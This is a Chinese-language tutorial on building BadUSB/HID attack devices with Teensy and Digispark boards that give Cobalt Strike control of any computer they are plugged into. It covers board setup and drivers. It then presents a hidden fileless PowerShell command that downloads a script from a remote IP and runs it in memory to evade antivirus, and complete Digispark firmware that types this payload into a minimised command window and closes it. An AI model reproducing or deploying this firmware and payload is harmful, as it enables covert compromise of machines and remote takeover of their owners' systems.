声明:本文仅仅谈论近源渗透中的HID攻击配合CobaltStrike的思路与实践记录。 前言 在之前的一些文章中,笔者做了一些关于近源渗透的文章分享。那么其中的一篇文章提到了用Kali Nethunter发起的Rucky攻击(类BadUSB)。我们下面的Payload只需要稍加修改就可以利用上去。 这篇文章中,主要我们来聊一聊HID攻击。 什么是HID? HID(HumanInterfaceDevice,是计算机直接与人交互的设备,例如键盘鼠标等)攻击的一种。攻击者通过将USB设备模拟成为键盘,让电脑识别成为键盘,然后进行脚本模拟按键进行攻击。Badusb也属于HID攻击的一种,在badusb之前还有两种HID攻击分别是teensy和USB RUBBERDUCKY(usb橡皮鸭)。国科漏斗社区先介绍以下这三种类型有何不同。USB橡皮鸭是一个比较早的按键注入工具,可以根据对应的要求定制软件。但是很早之前价格比较昂贵,目前已经在市场上形成了一种普遍的商业模式。 Teensy是拥有芯片且功能完整的单片机开发系统,可模拟键盘和鼠标,经开发的TeensyUSB可以被电脑识别成鼠标或键盘,进而执行编程的恶意代码。价格较为亲民,开源性比较强,并且可以与Kali配合使用。 两种设备 前面已经提到了,我们有很多种方式可以去制作BadUSB,我们先来购买一下我们所需要的设备。(什么?没钱?文章回复、评论将随机抽取用户送出本节课的部分设备。) 我们本篇主要介绍两种制作方法,Teensy和Digispark(橡皮鸭)这两种制作方式。 Teensy制作 准备材料:
(便宜的淘宝上有抄板的设备) 2.Micro转USB 3.电脑一台 4.Arduino IDE
使用Arduino IDE来编写程序: 选择开发板 随后选择开发板的端口 Arduino使用的是C语言编写,setup函数在设备运行后执行一次,而loop会循环执行。这是两个函数的根本区别。 下面我们来写一个例子: 值得注意的是: Keyboard.press完一定要Keyboard.release释放按键, 不然会一直按。 Digispark方法 Digispark的优点就是比上面的设备造价稍微便宜一点,网上有现成的外壳可供购买。电路公开。 购买了Digispark的Ant85后,我们需要安装Digispark的驱动:官方教程:http:///wiki/digispark/tutorials/connecting 附加开发板地址http:///package_digistump_index.json 进入开发板管理页面 搜索找到DigistumpAVR Boards项后点击安装 等待开发板管理器安装完成 驱动下载:https://github.com/digistump/DigistumpArduino 打开已下载的驱动目录选择安装与操作系统相符的程序运行 打开计算机的设备管理器并显示隐藏设备 插入Digispark开发板 注意:如果你的电脑是第一次连接Digispark开发板则会听到USB设备连接的提示音,不过过了大概5秒左右就断开连接了,这是因为无法识别USB驱动造成的。如果不是第一次连接则可能再次插入Digispark时计算机就没有反应了。 测试上传 控制台提示连接设备,将开发板连接到计算机 写入状态说明 如果出现下图提示则说明你上传成功!! 如果出现下图提示则是连接超时,如果超时可以尝试换个usb口或是重新安装驱动 免杀制作上线CS 由于有文件落地的动作太大,所以这里选择无文件落地的 powershell.exe -nop -w hidden -c 'IEX ((new-objectnet.webclient).downloadstring('http://192.168.52.23:80/a'))' 此条命令的是通过download下载恶意powershell,之后通过IEX在后台隐藏执行 IEX(Invoke-expression)作用是将字符串当成powershell命令执行,并且是加载到内存中执行,不会有文件落地 准备好要烧录的代码 注:由于各个开发板的按键语法都有些差异,导致过程就很繁琐 找到一个大佬的转换脚本:https://github.com/Catboy96/Automator/ 要烧录的代码如下: #include 'DigiKeyboard.h'void setup() { // put your setup code here, to run once: DigiKeyboard.delay(2000);//为等待2秒 DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);//发送win+R DigiKeyboard.delay(800); DigiKeyboard.println('cmd /T:01 /K mode CON: COLS=16 LINES=1');//将cmd窗口最小化保证隐蔽性 DigiKeyboard.delay(2000); DigiKeyboard.println('echo set-alias -name rookie -value Invoke-Expression;rookie(new-object net.webclient).downloadstring('http://192.119.1.106:91/a') | powershell -');//要执行的payload DigiKeyboard.delay(3500); DigiKeyboard.sendKeyStroke(KEY_F4, MOD_ALT_LEFT);//执行完成后alt+F4关闭窗口} void loop() { // put your main code here, to run repeatedly: } 可以看到这是基于C写的,本来想补充的完善一点可是发现一些键根本找不到啊!!! 解释一下为啥每条命令后面都需要等待时间,这是为了给处理器足够的时间进行响应,如果太短,后面的命令将都不会执行或者执行出错。 6,选择箭头指向的上传烧录按钮,之后下面会出现两行红色代码,就是要在60S内把badusb插入,必须在这时候插入,之前插入都不可以,这也是这个开发板的弊端了。 完成后将会自动执行 真的是插谁谁上线啊 到此基本完成了 |
|